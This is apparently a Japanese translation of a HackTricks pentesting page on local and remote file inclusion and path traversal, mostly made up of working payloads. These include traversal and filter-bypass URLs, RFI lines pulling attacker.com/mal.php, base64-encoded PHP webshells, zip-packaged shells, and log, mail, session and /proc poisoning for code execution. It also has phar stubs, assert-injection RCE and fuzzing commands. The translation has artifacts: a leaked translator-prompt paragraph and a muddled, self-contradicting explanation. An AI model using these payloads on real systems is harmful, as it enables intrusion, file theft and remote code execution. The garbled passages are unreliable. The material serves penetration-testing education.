47 KiB
ファイルインクルージョン/パストラバーサル
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
HackenProofはすべての暗号バグバウンティの場所です。
遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペントestingの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!その成長期におけるweb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップして、ハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
ファイルインクルージョン
リモートファイルインクルージョン(RFI): ファイルはリモートサーバーからロードされます(最適:コードを書いてサーバーが実行します)。PHPでは、これはデフォルトで無効になっています(allow_url_include)。
ローカルファイルインクルージョン(LFI): サーバーがローカルファイルをロードします。
この脆弱性は、ユーザーがいかなる方法でサーバーがロードするファイルを制御できる場合に発生します。
脆弱なPHP関数:require、require_once、include、include_once
この脆弱性を悪用するための興味深いツール:https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
複数の*nix LFIリストを組み合わせ、さらにパスを追加して、次のリストを作成しました:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
/
を\
に変更してみてください
../../../../../
を追加してみてください
脆弱性の存在を確認するために、/etc/passwordファイルを見つけるために複数の技術を使用するリストはこちらで見つけることができます。
Windows
複数のリストを統合して、次のリストを作成しました:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
/
を\
に変更してみてください
C:/
を削除して../../../../../
を追加してみてください
脆弱性の存在を確認するために、/boot.iniファイルを見つけるために複数の技術を使用するリストはこちらで見つけることができます。
OS X
LinuxのLFIリストを確認してください。
基本的なLFIとバイパス
すべての例はローカルファイルインクルージョンのためのものですが、リモートファイルインクルージョンにも適用することができます(page=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)/)。
http://example.com/index.php?page=../../../etc/passwd
非再帰的に剥奪されたトラバーサルシーケンス
In this technique, we will focus on exploiting file inclusion vulnerabilities by using traversal sequences that have been stripped non-recursively. This means that we will not be using recursive traversal sequences like "../" or ".." to navigate through directories.
この技術では、再帰的に剥奪されたトラバーサルシーケンスを使用して、ファイルインクルージョンの脆弱性を悪用します。つまり、"../"や".."のような再帰的なトラバーサルシーケンスを使用せずに、ディレクトリをナビゲートします。
Instead, we will focus on using non-recursive traversal sequences such as "..%c0%af" or "..%252f" to bypass input filters and access files outside of the intended directory.
代わりに、"..%c0%af"や"..%252f"などの非再帰的なトラバーサルシーケンスを使用して、入力フィルタをバイパスし、意図したディレクトリの外部のファイルにアクセスすることに焦点を当てます。
By understanding how the application handles user input and filters traversal sequences, we can craft payloads that exploit file inclusion vulnerabilities and retrieve sensitive information or execute arbitrary code.
ユーザーの入力を処理し、トラバーサルシーケンスをフィルタリングするアプリケーションの動作を理解することで、ファイルインクルージョンの脆弱性を悪用するペイロードを作成し、機密情報を取得したり、任意のコードを実行したりすることができます。
It is important to note that the effectiveness of this technique may vary depending on the specific implementation of the file inclusion vulnerability and the security measures in place.
この技術の有効性は、ファイルインクルージョンの脆弱性の具体的な実装とセキュリティ対策によって異なることに注意してください。
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
ヌルバイト(%00)
提供された文字列の末尾に追加の文字をバイパスする(バイパス方法:$_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
これはPHP 5.4以降で解決済みです
エンコーディング
ダブルURLエンコード(およびその他)のような非標準のエンコーディングを使用することができます:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
既存のフォルダから
おそらくバックエンドはフォルダのパスをチェックしています。
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
サーバー上のフォルダーの特定
アプリケーションのコードや許可された文字によっては、ファイルだけでなくフォルダーも再帰的に探索することができる場合があります。そのためには、次の手順を実行します。
- 現在のディレクトリの「深さ」を特定するために、
/etc/passwd
(Linuxの場合)を正常に取得します。
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- 現在のディレクトリにあるフォルダの名前を推測し、フォルダ名(ここでは
private
)を追加してから/etc/passwd
に戻ります。
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
- アプリケーションが脆弱である場合、リクエストには2つの異なる結果があります:
- エラー/出力がない場合、この場所には
private
フォルダが存在しません /etc/passwd
からコンテンツを取得した場合、現在のディレクトリにprivate
フォルダが存在することが確認されます- このテクニックを使用して発見したフォルダは、クラシックなLFIメソッドを使用してファイル(または同じテクニックを再帰的に使用してサブディレクトリ)に対してファズテストを実行できます。
このテクニックを使用して、ファイルシステム内の任意の場所にディレクトリを見つけることも可能です。たとえば、同じ仮定(ファイルシステムの深さ3の現在のディレクトリ)の下で、/var/www/
に private
ディレクトリが含まれているかどうかを確認する場合、次のペイロードを使用します:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
次のコマンドのシーケンスは、sed
(1)を使用してペイロードを生成し、ffuf
(2)などのURLファジングツールの入力として使用することができます。
$ sed 's/^/-H "X-Original-URL: /;s/$/"/' payloads.txt | ffuf -w - -u FUZZ -H "Host: example.com" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -mc all -ac
このコマンドのシーケンスは、payloads.txt
ファイル内の各ペイロードに対してsed
を使用して変換を行い、その結果をffuf
に渡します。sed
コマンドは、各行の先頭に-H "X-Original-URL:
を追加し、行の末尾に"
を追加します。これにより、ffuf
は各ペイロードをFUZZ
としてURLに挿入することができます。また、ffuf
にはヘッダー情報(Host
とUser-Agent
)が指定されており、-mc all
オプションを使用して全てのステータスコードを表示し、-ac
オプションを使用して全てのコンテンツを表示します。
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
当然、深さ/場所/入力ディレクトリリストに応じてペイロードを適応させてください。
パスの切り詰め
提供された文字列の末尾にさらに文字を追加することを回避します(回避方法:$_GET['param']."php")
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
常に、パスを偽のディレクトリ(a/)で始めるようにしてください。
この脆弱性はPHP 5.3で修正されました。
フィルターバイパスのトリック
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
リモートファイルインクルージョン
PHPでは、これはデフォルトで無効になっています。なぜなら、allow_url_include
が Off になっているからです。これを動作させるには、On にする必要があります。その場合、サーバーからPHPファイルをインクルードしてRCEを取得することができます。
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
もし何らかの理由で**allow_url_include
がOnになっているが、PHPが外部のウェブページへのアクセスをフィルタリング**している場合、この投稿によると、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます。
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
前のコードでは、最後の +.txt
が追加されました。攻撃者は .txt
で終わる文字列が必要だったため、その部分でジャンクが返され、実際のPHPコードが含まれ(したがって、実行され)ます。
{% endhint %}
別の例は、php://
プロトコルを使用しないものです:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
{% endcode %}
Pythonのルート要素
Pythonでは、次のようなコードでルート要素を指定します。
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
ユーザーが絶対パスを**file_name
**に渡す場合、前のパスは単に削除されます。
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
以下は、ハッキング技術に関する本の内容です。以下の内容は、pentesting-web/file-inclusion/README.mdファイルからのものです。関連する英文を日本語に翻訳し、翻訳を返し、マークダウンとHTMLの構文を完全に保持してください。コード、ハッキング技術の名前、ハッキングの言葉、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウンの構文以外の追加の要素は追加しないでください。
これは[ドキュメント](https://docs.python.org/3.10/library/os.path.html#os.path.join)による意図された動作です:
> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、絶対パスコンポーネントからの結合が続行されます。
## Javaディレクトリのリスト
Javaでパストラバーサルがある場合、**ファイルの代わりにディレクトリを要求**すると、**ディレクトリのリストが返されます**。これは他の言語では起こりません(私の知る限り)。
## 上位25のパラメータ
以下は、ローカルファイルインクルージョン(LFI)の脆弱性に対して脆弱性のある可能性のある上位25のパラメータのリストです([リンク](https://twitter.com/trbughunters/status/1279768631845494787)から):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
PHPラッパーとプロトコルを使用したLFI / RFI
php://filter
PHPフィルターを使用すると、データを読み取る前または書き込む前に基本的な変更操作を行うことができます。フィルターには5つのカテゴリがあります:
- 文字列フィルター:
string.rot13
string.toupper
string.tolower
string.strip_tags
: データからタグを削除します("<"と">"の間のすべての文字)- このフィルターは、最新バージョンのPHPから消えています
- 変換フィルター
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: 異なるエンコーディングに変換します(convert.iconv.<input_enc>.<output_enc>
)。サポートされているすべてのエンコーディングのリストを取得するには、コンソールで次のコマンドを実行します:iconv -l
{% hint style="warning" %}
convert.iconv.*
変換フィルターを悪用すると、任意のテキストを生成することができます。これは、任意のテキストを書き込むか、任意のテキストを含む関数を作成するのに役立つ場合があります。詳細については、phpフィルターを介したLFI2RCEを参照してください。
{% endhint %}
- 圧縮フィルター
zlib.deflate
: コンテンツを圧縮します(大量の情報を外部に持ち出す場合に便利です)zlib.inflate
: データを解凍します- 暗号化フィルター
mcrypt.*
: 廃止予定mdecrypt.*
: 廃止予定- その他のフィルター
- phpで実行すると、いくつかの予期しないフィルターが見つかる場合があります:
var_dump(stream_get_filters());
consumed
dechunk
: HTTPチャンクエンコーディングを逆転させますconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} 「php://filter」という部分は大文字小文字を区別しません {% endhint %}
php://fd
このラッパーは、プロセスが開いているファイルディスクリプタにアクセスすることを可能にします。開かれたファイルの内容を外部に持ち出すのに役立つ可能性があります。
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
以下のように、php://stdin、php://stdout、および php://stderr を使用して、それぞれ ファイルディスクリプタ 0、1、および 2 にアクセスすることもできます(攻撃にどのように役立つかはわかりません)
zip:// および rar://
PHPShell が含まれた Zip または Rar ファイルをアップロードしてアクセスします。
rar プロトコルを悪用するためには、明示的に有効化する必要があります。
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
data://は、ファイルインクルージョン(File Inclusion)攻撃の一種です。この攻撃は、ウェブアプリケーションが外部のファイルを読み込む際に、ユーザーが制御できるパラメータを使用している場合に悪用されます。
この攻撃では、攻撃者はユーザーが制御できるパラメータに特殊な値を注入し、ウェブアプリケーションがその値をファイルパスとして解釈するように誘導します。攻撃者は、任意のファイルを読み込むことができるため、機密情報の漏洩やシステムの乗っ取りなどの悪影響を引き起こす可能性があります。
data://スキームは、攻撃者が攻撃に使用する特殊な値を指定するために使用されます。このスキームは、データを直接URLに埋め込むことができるため、攻撃者は任意のデータを注入することができます。
ウェブアプリケーションの開発者は、ユーザーが制御できるパラメータを使用する際に、適切な入力検証とエスケープ処理を実装することが重要です。また、セキュリティテスト(ペネトレーションテスト)を定期的に実施することで、潜在的な脆弱性を特定し、修正することが推奨されます。
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
楽しい事実:XSSをトリガーし、Chromeオーディターをバイパスすることができます。以下のコードを使用します:http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
ただし、このプロトコルはphpの設定で制限されています。allow_url_open
と allow_url_include
を設定する必要があります。
expect://
Expectを有効にする必要があります。これを使用してコードを実行できます。
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POSTパラメーターにペイロードを指定してください。
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
phar://
ウェブがファイルをロードするためにinclude
のような関数を使用している場合、.phar
ファイルを使用してPHPコードを実行することもできます。
{% code title="create_phar.php" %}
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
{% endcode %}
そして、次の行を実行してphar
をコンパイルすることができます。
php --define phar.readonly=0 create_path.php
test.phar
というファイルが生成されます。これを使用してLFIを悪用することができます。
LFIが単にファイルを読み取り、その中のPHPコードを実行しない場合、例えばfile_get_contents()
、fopen()
、file()
、file_exists()
、md5_file()
、filemtime()
、filesize()
などの関数を使用している場合、pharプロトコルを使用してファイルを読み取る際に発生する逆シリアル化を悪用することができます。
詳細については、次の投稿を読んでください:
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
その他のプロトコル
ここに含める可能性のあるプロトコルをチェックしてください**:
- php://memoryとphp://temp — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかはわかりません)
- file:// — ローカルファイルシステムへのアクセス
- http:// — HTTP(s)のURLへのアクセス
- ftp:// — FTP(s)のURLへのアクセス
- zlib:// — 圧縮ストリーム
- glob:// — パターンに一致するパス名を検索(印刷可能なものを返さないため、ここではあまり役に立ちません)
- ssh2:// — セキュアシェル2
- ogg:// — オーディオストリーム(任意のファイルを読み取るのには役に立ちません)
PHPの'assert'を使用したLFI
".. "などのトラバーサル文字列をフィルタリングしているような難解なLFIに遭遇し、"Hacking attempt"や"Nice try!"などの応答が返される場合、'assert'インジェクションペイロードが機能するかもしれません。
次のようなペイロード:
' and die(show_source('/etc/passwd')) or '
次に、このような「file」パラメータを持つPHPコードを正常に悪用します。
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
次に、system()関数を使用して脆弱な「assert」ステートメントでRCE(リモートコード実行)を行う方法があります。
' and die(system("whoami")) or '
URL-encode payloads before you send them.
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです!急成長するWeb3セキュリティをマスターしましょう。
Web3ハッカーレジェンドになる
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
HackenProofでサインアップしてハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
PHP Blind Path Traversal
{% hint style="warning" %}
このテクニックは、PHP関数がファイルにアクセスするファイルパスを制御できる場合に関連しますが、ファイルの内容(単純な**file()
**の呼び出しのように)は表示されません。
{% endhint %}
この素晴らしい投稿では、PHPフィルタを使用してブラインドパストラバーサルを悪用して、エラーオラクルを介してファイルの内容を外部に流出させる方法が説明されています。
要約すると、このテクニックは、「UCS-4LE」エンコーディングを使用してファイルの内容を非常に大きくすることで、ファイルを開くPHP関数がエラーをトリガーするようにします。
次に、最初の文字を漏洩させるために、フィルタ**dechunk
を他のフィルタ(base64やrot13など)と組み合わせて使用し、最後にフィルタconvert.iconv.UCS-4.UCS-4LEとconvert.iconv.UTF16.UTF-16BE**を使用して他の文字を先頭に配置し、それらを漏洩させます。
脆弱性のある可能性のある関数: file_get_contents
、readfile
、finfo->file
、getimagesize
、md5_file
、sha1_file
、hash_file
、file
、parse_ini_file
、copy
、file_put_contents(これには読み取り専用のターゲットのみが対象)
、stream_get_contents
、fgets
、fread
、fgetc
、fgetcsv
、fpassthru
、fputs
詳細な技術情報については、上記の投稿を確認してください!
LFI2RCE
リモートファイルインクルージョン
以前に説明した方法については、このリンクを参照してください。
Apache/Nginxログファイル経由
ApacheまたはNginxサーバーがinclude関数内でLFIに対して脆弱である場合、/var/log/apache2/access.log
または/var/log/nginx/access.log
にアクセスし、ユーザーエージェントまたはGETパラメータに**<?php system($_GET['c']); ?>
**のようなPHPシェルを設定して、そのファイルをインクルードすることができます。
{% hint style="warning" %} シェルにはシングルクォートではなくダブルクォートを使用すると、ダブルクォートが文字列"quote;"に変更され、PHPはそこでエラーをスローし、それ以外の処理は実行されません。
また、ペイロードを正しく記述することを確認してください。そうしないと、PHPがログファイルを読み込もうとするたびにエラーが発生し、2回目の機会はありません。 {% endhint %}
これは他のログでも行うことができますが、注意してください、ログ内のコードはURLエンコードされている可能性があり、これによりシェルが破壊される可能性があります。ヘッダー**authorisation "basic"**にはBase64で"user:password"が含まれ、ログ内でデコードされます。PHPシェルはこのヘッダーに挿入することができます。 他の可能なログパス:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
メール経由
内部アカウント(user@localhost)にPHPのペイロード(<?php echo system($_REQUEST["cmd"]); ?>
)を含むメールを送信し、**/var/mail/<USERNAME>
または/var/spool/mail/<USERNAME>
**のパスでユーザーのメールをインクルードしようとしてください。
/proc/*/fd/*を介して
- シェルをたくさんアップロードします(例:100個)
- http://example.com/index.php?page=/proc/$PID/fd/$FDをインクルードします。ここで、$PIDはプロセスのPID(ブルートフォースで見つけることができます)であり、$FDはファイルディスクリプタ(これもブルートフォースで見つけることができます)です。
/proc/self/environを介して
ログファイルのように、User-Agentでペイロードを送信します。これにより、/proc/self/environファイル内に反映されます。
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
アップロード経由
ファイルをアップロードできる場合は、シェルのペイロードを注入します(例:<?php system($_GET['c']); ?>
)。
http://example.com/index.php?page=path/to/uploaded/file.png
ファイルを読みやすく保つために、写真/ドキュメント/PDFのメタデータにインジェクトするのが最適です。
Zipファイルのアップロード経由
PHPシェルが圧縮されたZIPファイルをアップロードし、アクセスします。
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHPセッションを介して
ウェブサイトがPHPセッション(PHPSESSID)を使用しているかどうかを確認します。
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHPでは、これらのセッションは_/var/lib/php5/sess\_[PHPSESSID]_ファイルに保存されます。
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
クッキーを <?php system('cat /etc/passwd');?>
に設定します。
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
ファイルインクルージョン(File Inclusion)を使用してPHPセッションファイルをインクルードする
このテクニックでは、ローカルファイルインクルージョン(Local File Inclusion, LFI)を使用して、ターゲットのウェブアプリケーションにおいてPHPセッションファイルをインクルードします。
攻撃手法の概要
- ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。
- LFI脆弱性を利用して、ウェブアプリケーションのファイルインクルード機能を悪用します。
- インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。
攻撃手順
-
ターゲットのウェブアプリケーションにおいて、LFI脆弱性が存在するか確認します。通常、以下のようなパラメータを利用してLFIを試みます。
http://example.com/index.php?page=../../etc/passwd
上記の例では、
page
パラメータに../../etc/passwd
を指定しています。 -
LFI脆弱性が存在する場合、ウェブアプリケーションのファイルインクルード機能を悪用します。以下のようなパラメータを利用して、ファイルインクルードを試みます。
http://example.com/index.php?page=/etc/passwd
上記の例では、
page
パラメータに/etc/passwd
を指定しています。 -
インクルードパラメータにPHPセッションファイルのパスを指定し、セッションデータを取得します。以下のようなパラメータを利用します。
http://example.com/index.php?page=/var/lib/php/sessions/sess_1234567890abcdef
上記の例では、
page
パラメータに/var/lib/php/sessions/sess_1234567890abcdef
を指定しています。
対策方法
以下の対策方法を実施することで、LFI攻撃からウェブアプリケーションを保護することができます。
- 入力検証とエスケープ処理を適切に行う。
- ホワイトリスト方式を使用して、許可されたファイルのみをインクルードする。
- セッションファイルの保存場所を適切に設定する。
- セッションIDの推測を困難にするため、セッションIDの長さを増やす。
- セッションIDをランダムな値にするため、セッションIDの生成方法を変更する。
以上が、LFIを使用してPHPセッションファイルをインクルードする攻撃手法の概要と対策方法です。
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
SSHを介して
sshがアクティブな場合は、使用されているユーザーを確認します(/proc/self/statusおよび/etc/passwd)し、<HOME>/.ssh/id_rsaにアクセスを試みます。
vsftpdログを介して
このFTPサーバーのログは、_/var/log/vsftpd.log_に保存されます。LFIを持っていて公開されたvsftpdサーバーにアクセスできる場合、PHPペイロードをユーザー名に設定してログインを試み、LFIを使用してログにアクセスできます。
PHPベース64フィルターを介して(base64を使用)
この記事に示されているように、PHPベース64フィルターは非ベース64を無視します。これを利用して、ファイル拡張子のチェックをバイパスできます。もしも「.php」で終わるbase64を提供すると、フィルターは「.」を無視してbase64に「php」を追加します。以下は例です。
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
PHPフィルタを介して(ファイル不要)
この解説記事では、phpフィルタを使用して任意のコンテンツを生成し、出力として使用できることが説明されています。つまり、ファイルに書き込む必要なしに、インクルードのための任意のphpコードを生成できます。
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
セグメンテーションフォールトを介して
/tmp
に一時的に保存されるファイルをアップロードし、同じリクエストでセグメンテーションフォールトをトリガーすると、一時ファイルが削除されないため、それを検索できます。
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Nginxの一時ファイルストレージを介して
ローカルファイルインクルージョンを見つけ、NginxがPHPの前で実行されている場合、次のテクニックを使用してRCEを取得できるかもしれません。
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
PHP_SESSION_UPLOAD_PROGRESSを介して
セッションがない場合でも、session.auto_start
がOff
である場合でも、ローカルファイルインクルージョンを見つけた場合、PHP_SESSION_UPLOAD_PROGRESS
をマルチパートPOSTデータで提供すると、PHPはセッションを有効にします。これを悪用してRCEを取得できます。
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Windowsでの一時ファイルアップロードを介して
ローカルファイルインクルージョンを見つけ、サーバーがWindowsで実行されている場合、RCEを取得できるかもしれません。
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
phpinfo()(file_uploads = on)を介して
ローカルファイルインクルージョンを見つけ、file_uploads = onで**phpinfo()**を公開するファイルがある場合、RCEを取得できます。
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
compress.zlib + PHP_STREAM_PREFER_STUDIO
+ パスの開示を介して
ローカルファイルインクルージョンを見つけ、一時ファイルのパスを外部に漏洩できるが、サーバーがインクルードするファイルにPHPマークがあるかどうかをチェックしている場合、この競合状態を使用してそのチェックをバイパスすることができます。
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
永遠の待機 + ブルートフォースを介して
LFIを悪用して一時ファイルをアップロードし、サーバーのPHP実行を停止させることができれば、その後、数時間にわたってファイル名をブルートフォースして一時ファイルを見つけることができます。
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
致命的なエラーへ
/usr/bin/phar
、/usr/bin/phar7
、/usr/bin/phar.phar7
、/usr/bin/phar.phar
のいずれかのファイルをインクルードします(同じものを2回インクルードする必要があります)。
これがどのように有用かはわかりませんが、有用かもしれません。
PHP致命的なエラーを引き起こしても、アップロードされたPHP一時ファイルは削除されます。
参考文献
PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
HackenProofはすべての暗号バグ報奨金の場所です。
遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
Web3ペントestingの経験を積む
